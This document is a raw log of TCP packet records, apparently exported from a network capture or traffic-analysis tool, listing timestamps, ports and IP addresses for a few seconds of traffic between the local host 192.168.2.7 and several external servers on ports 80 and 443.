Nov 20, 2024 23:12:51.723527908 CET	49863	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:51.723539114 CET	443	49863	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:51.784781933 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.784861088 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.784888983 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.784935951 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.785111904 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.785196066 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.785238028 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.786196947 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.786248922 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.786540031 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.787220001 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.787282944 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.787359953 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.787462950 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.788105965 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.788171053 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.788304090 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.788356066 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.789165020 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.789216042 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.789378881 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.789500952 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.790307045 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.790360928 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.790442944 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.790544987 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.791193008 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.791243076 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.791271925 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.791322947 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.792300940 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.792366028 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.792474985 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.792615891 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.793317080 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.793365955 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.793426037 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.793482065 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.794431925 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.794445038 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.794487953 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.794511080 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.795452118 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.795464039 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.795517921 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.796447039 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.796509027 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.796693087 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.796736002 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.797564030 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.797619104 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.797632933 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.797698975 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.798656940 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.798707008 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.798825026 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.798875093 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.799664974 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.799721956 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.799880981 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.799931049 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.800805092 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.800822973 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.800867081 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.800879955 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.801795959 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.801808119 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.801846981 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.802892923 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.802906036 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.802963018 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.803941965 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.803955078 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.803997993 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.805062056 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.805133104 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.805159092 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.805172920 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.806046009 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.806109905 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.806425095 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.806668043 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.807190895 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.807204008 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.807244062 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.808223009 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.808235884 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.808284044 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.809263945 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.809276104 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.809317112 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.810312986 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.810326099 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.810374975 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.811368942 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.811424971 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.811486959 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.811536074 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.812431097 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.812494040 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.812510014 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.812534094 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.813513041 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.813585997 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.813694954 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.813744068 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.814528942 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.814740896 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.814798117 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.815635920 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.815722942 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.815759897 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.815773964 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.816751957 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.816765070 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.816828966 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.817747116 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.817759037 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.817881107 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.818788052 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.818837881 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.818839073 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.818891048 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.819905043 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.819916964 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.819963932 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.820944071 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.820965052 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.821002960 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.821979046 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.822027922 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.822181940 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.822226048 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.823028088 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.823079109 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.823247910 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.823309898 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.824115038 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.824171066 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.824263096 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.824318886 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.825243950 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.825311899 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.825427055 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.825475931 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.826241970 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.826360941 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.826399088 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.826446056 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.827380896 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.827394009 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.827434063 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.828357935 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.828407049 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.828486919 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.828541040 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.829457045 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.829469919 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.829509020 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.830524921 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.830574036 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.830646038 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.830692053 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.831526995 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.831578016 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.831609964 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.831654072 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.832595110 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.832647085 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.832819939 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.832863092 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.833688021 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.833700895 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.833738089 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.833758116 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.834724903 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.834774971 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.834774971 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.834824085 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.835808992 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.835823059 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.835855961 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.835869074 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.836816072 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.836864948 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.836925030 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.836983919 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.837989092 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.838063955 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.838084936 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.838126898 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.838967085 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.839148998 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.839159966 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.839200020 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.840040922 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.840080976 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.840106964 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.840120077 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.887938023 CET	443	49856	23.55.235.251	192.168.2.7
Nov 20, 2024 23:12:51.888178110 CET	49856	443	192.168.2.7	23.55.235.251
Nov 20, 2024 23:12:51.888195038 CET	443	49856	23.55.235.251	192.168.2.7
Nov 20, 2024 23:12:51.889286995 CET	443	49856	23.55.235.251	192.168.2.7
Nov 20, 2024 23:12:51.889355898 CET	49856	443	192.168.2.7	23.55.235.251
Nov 20, 2024 23:12:51.890465975 CET	49856	443	192.168.2.7	23.55.235.251
Nov 20, 2024 23:12:51.890549898 CET	443	49856	23.55.235.251	192.168.2.7
Nov 20, 2024 23:12:51.890667915 CET	49856	443	192.168.2.7	23.55.235.251
Nov 20, 2024 23:12:51.890675068 CET	443	49856	23.55.235.251	192.168.2.7
Nov 20, 2024 23:12:51.944667101 CET	49856	443	192.168.2.7	23.55.235.251
Nov 20, 2024 23:12:51.995418072 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.995435953 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.995476007 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.995500088 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.995697021 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.995750904 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.995781898 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.995836973 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.996862888 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.996879101 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.996915102 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.996928930 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.997823000 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.997836113 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.997881889 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.998848915 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.998900890 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.999181032 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.999336004 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.999964952 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:52.000000000 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:52.000013113 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:52.000085115 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:52.000983000 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:52.001097918 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:52.001100063 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:52.001182079 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:52.002084017 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:52.002140999 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:52.002175093 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:52.002223015 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:52.003122091 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:52.003138065 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:52.003177881 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:52.004163027 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:52.004247904 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:52.004277945 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:52.004326105 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:52.005306959 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:52.005358934 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:52.005413055 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:52.005460978 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:52.006356955 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:52.006458998 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:52.006680965 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:52.006731987 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:52.007364988 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:52.007431984 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:52.007457972 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:52.007528067 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:52.008410931 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:52.008461952 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:52.008615017 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:52.008733988 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:52.009464979 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:52.009592056 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:52.009639978 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:52.009931087 CET	443	49858	172.64.41.3	192.168.2.7
Nov 20, 2024 23:12:52.010092974 CET	443	49859	172.64.41.3	192.168.2.7
Nov 20, 2024 23:12:52.010531902 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:52.010580063 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:52.010690928 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:52.010735035 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:52.011655092 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:52.011667967 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:52.011706114 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:52.012666941 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:52.012728930 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:52.012809992 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:52.012964964 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:52.013741016 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:52.013797045 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:52.013927937 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:52.013976097 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:52.014883041 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:52.014930010 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:52.015515089 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:52.015582085 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:52.015844107 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:52.015911102 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:52.016154051 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:52.016205072 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:52.016947031 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:52.016982079 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:52.017026901 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:52.018038034 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:52.018049955 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:52.018102884 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:52.018249989 CET	443	49854	13.107.246.40	192.168.2.7
Nov 20, 2024 23:12:52.018273115 CET	443	49854	13.107.246.40	192.168.2.7
Nov 20, 2024 23:12:52.018280983 CET	443	49854	13.107.246.40	192.168.2.7
Nov 20, 2024 23:12:52.018306971 CET	443	49854	13.107.246.40	192.168.2.7
Nov 20, 2024 23:12:52.018322945 CET	443	49854	13.107.246.40	192.168.2.7
Nov 20, 2024 23:12:52.018333912 CET	443	49854	13.107.246.40	192.168.2.7
Nov 20, 2024 23:12:52.018338919 CET	49854	443	192.168.2.7	13.107.246.40
Nov 20, 2024 23:12:52.018372059 CET	443	49854	13.107.246.40	192.168.2.7
Nov 20, 2024 23:12:52.018384933 CET	49854	443	192.168.2.7	13.107.246.40
Nov 20, 2024 23:12:52.018385887 CET	49854	443	192.168.2.7	13.107.246.40
Nov 20, 2024 23:12:52.018419027 CET	49854	443	192.168.2.7	13.107.246.40
Nov 20, 2024 23:12:52.019042969 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:52.019221067 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:52.019256115 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:52.019269943 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:52.020117044 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:52.020173073 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:52.020231962 CET	49859	443	192.168.2.7	172.64.41.3
Nov 20, 2024 23:12:52.020251989 CET	443	49859	172.64.41.3	192.168.2.7
Nov 20, 2024 23:12:52.020318985 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:52.020342112 CET	49858	443	192.168.2.7	172.64.41.3
Nov 20, 2024 23:12:52.020365953 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:52.020370007 CET	443	49858	172.64.41.3	192.168.2.7
Nov 20, 2024 23:12:52.020941973 CET	443	49859	172.64.41.3	192.168.2.7
Nov 20, 2024 23:12:52.021173954 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:52.021230936 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:52.021311045 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:52.021491051 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:52.021529913 CET	49859	443	192.168.2.7	172.64.41.3
Nov 20, 2024 23:12:52.021650076 CET	443	49858	172.64.41.3	192.168.2.7
Nov 20, 2024 23:12:52.021701097 CET	49858	443	192.168.2.7	172.64.41.3
Nov 20, 2024 23:12:52.021869898 CET	443	49859	172.64.41.3	192.168.2.7
Nov 20, 2024 23:12:52.022232056 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:52.022275925 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:52.022424936 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:52.022469997 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:52.023278952 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:52.023350954 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:52.023468971 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:52.023760080 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:52.024374962 CET	80	49799	185.215.113.206	192.168.2.7
